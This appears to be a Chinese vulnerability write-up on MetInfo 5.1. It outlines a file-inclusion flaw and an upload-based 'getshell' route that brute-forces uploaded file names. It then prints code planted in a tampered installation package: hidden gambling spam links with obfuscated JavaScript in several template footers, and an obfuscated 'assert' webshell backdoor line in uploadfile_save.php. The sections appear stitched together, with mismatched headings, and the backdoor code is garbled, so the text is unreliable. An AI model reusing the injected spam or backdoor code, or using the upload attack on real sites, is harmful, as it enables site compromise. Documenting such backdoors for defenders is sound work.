### 0x01 漏洞概述
MetInfo企业网站管理系统采用PHP+Mysql架构，全站内置了SEO搜索引擎优化机制，支持用户自定义界面语言(全球各种语言)，拥有企业网站常用的模块功能（企业简介模块、新闻模块、产品模块、下载模块、图片模块、招聘模块、在线留言、反馈系统、在线交流、友情链接、网站地图、会员与权限管理）。强大灵活的后台管理功能、静态页面生成功能、个性化模块添加功能、不同栏目自定义FLASH样式功能等可为企业打造出大气漂亮且具有营销力的精品网站。
官方网站：http://www.metinfo.cn/
影响版本：5.1
ZoomEye Dork：app:"MetInfo"
###ox02:代码分析
about/index.php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once ‘../include/module.php’;
require_once $module;
结合metinfo的全局变量覆盖机制可以包含文件。
### 2:getshell
找个可以上传的地方：
feedback\uploadfile_save.php前台上传文件的地方。文件路径可以爆破之， (100 -999) 随机 简单爆破。
$rnd = rand(100, 999); $name = date(‘U’) + $rnd;
### 0x03 漏洞细节
在MetInfo安装文件包里的文件做了如下修改：
1、包括如下文件植入“黑链”恶意代码：
/templates/metv4/foot.html 第7行被植入如下代码：
```
<div id="moreA"><a href="http://www.sjc9.com" target="_blank">皇冠网</a><a href="http://www.sjc5.com" target="_blank">百家乐</a><a href="http://www.cai688.com" target="_blank">博彩通</a></div><script>document.getElementById("m"+"o"+"r"+"e"+"A").style.display="none";</script>
```
/templates/metv2/foot.html 第0行被植入如下代码：
```
<div id="moreA"><a href="http://www.sjc9.com" target="_blank">皇冠网</a><a href="http://www.sjc5.com" target="_blank">百家乐</a><a href="http://www.cai688.com" target="_blank">博彩通</a></div><script>document.getElementById("m"+"o"+"r"+"e"+"A").style.display="none";</script>
```
/templates/metv5s/foot.html 第3行被植入如下代码：
```
<div id="moreA"><a href="http://www.sjc9.com" target="_blank">皇冠网</a><a href="http://www.sjc5.com" target="_blank">百家乐</a><a href="http://www.cai688.com" target="_blank">博彩通</a></div><script>document.getElementById("m"+"o"+"r"+"e"+"A").style.display="none";</script>
```
/templates/default/foot.html 第3行被植入如下代码：
```
<div id="moreA"><a href="http://www.sjc9.com" target="_blank">皇冠网</a><a href="http://www.sjc5.com" target="_blank">百家乐</a><a href="http://www.cai688.com" target="_blank">博彩通</a></div><script>document.getElementById("m"+"o"+"r"+"e"+"A").style.display="none";</script>
```
/tmp/templates/metv3/foot.html 第7行被植入如下代码：
```
<a href="http://www.sjc9.com" target="_blank">皇冠网</a><a href="http://www.sjc5.com" target="_blank">百家乐</a><a href="http://www.cai688.com" target="_blank">博彩通</a></div><script>document.getElementById("m"+"o"+"r"+"e"+"A").style.display="none";</script>
```
/tmp/templates/met007/foot.html 第9行被植入如下代码：
```
<a href="http://www.sjc9.com" target="_blank">皇冠网</a><a href="http://www.sjc5.com" target="_blank">百家乐</a><a href="http://www.cai688.com" target="_blank">博彩通</a></div><script>document.getElementById("m"+"o"+"r"+"e"+"A").style.display="none";</script>
```
2、网站木马后门代码植入。
位于/feedback/uploadfile_save.php 第7行被植入了如下后门代码：
```
if(isset(['[马赛克]'])){ = str_replace(x,"","axsxxsxexrxxt");(["[马赛克]"]);}
```
### 0x04 参考链接
http://www.myhack58.com/Article/html/3/62/2013/41525.htm
京公网安备 11010502034610号
暂无评论